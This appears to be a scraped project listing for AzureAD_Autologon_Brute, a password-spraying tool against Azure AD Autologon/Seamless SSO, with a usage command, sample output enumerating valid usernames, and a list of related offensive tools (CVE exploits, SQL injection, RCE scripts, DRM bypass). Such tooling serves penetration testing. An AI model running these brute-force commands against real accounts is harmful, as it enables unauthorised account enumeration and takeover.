AzureAD_Autologon_Brute

Brute force attack tool for Azure AD Autologon

https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/

Usage:
python3 azuread_autologon_brute.py -d intranet.directory -U users.txt -p Password1

[~/AzureAD_Autologon_Brute] # python3 azuread_autologon_brute.py -d intranet.directory -U users.txt -p Password1
Domain is  intranet.directory
Setting password as: Password1
Reading users from file: users.txt

+-----------------------------------------+
|          AzureAD AutoLogon Brute          |
|     2021.09.30 @nyxgeek - TrustedSec      |
+-----------------------------------------+

[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1

Brute force attack tool for Azure AD Autologon/Seamless SSO

Related tags

Overview

AzureAD_Autologon_Brute

Owner

nyxgeek

Dumping revelant information on compromised targets without AV detection

Herramienta para descargar eventos de Sucuri WAF hacia disco.

FTP-Exploits is a tool made in python that contains 4 diffrent types of ftp exploits that can be used in Penetration Testing.

Automatic SQL injection and database takeover tool

It's a simple tool for test vulnerability shellshock

Send CVE information to the specified mailbox (from Github)

com_media allowed paths that are not intended for image uploads to RCE

A Python 3 script that uploads a tasks.pickle file that enables RCE in MotionEye

Exploit and Check Script for CVE 2022-1388

Obfuscated Gradients Give a False Sense of Security: Circumventing Defenses to Adversarial Examples

The self-hostable proxy tunnel

An ARP Spoofer attacker for windows to block away devices from your network.

Deobfuscate Log4Shell payloads with ease

SecurAID securely connects aid organizations directly with individuals in dangerous situations to allow them to discreetly and effectively get the assistance they need.

This repo created for bypassing Widevine L3 DRM and obtaining keys.

Open-source jailbreaking tool for many iOS devices

Exploit-CVE-2021-21086

Exploit grafana Pre-Auth LFI

Unsafe Twig processing of static pages leading to RCE in Grav CMS 1.7.10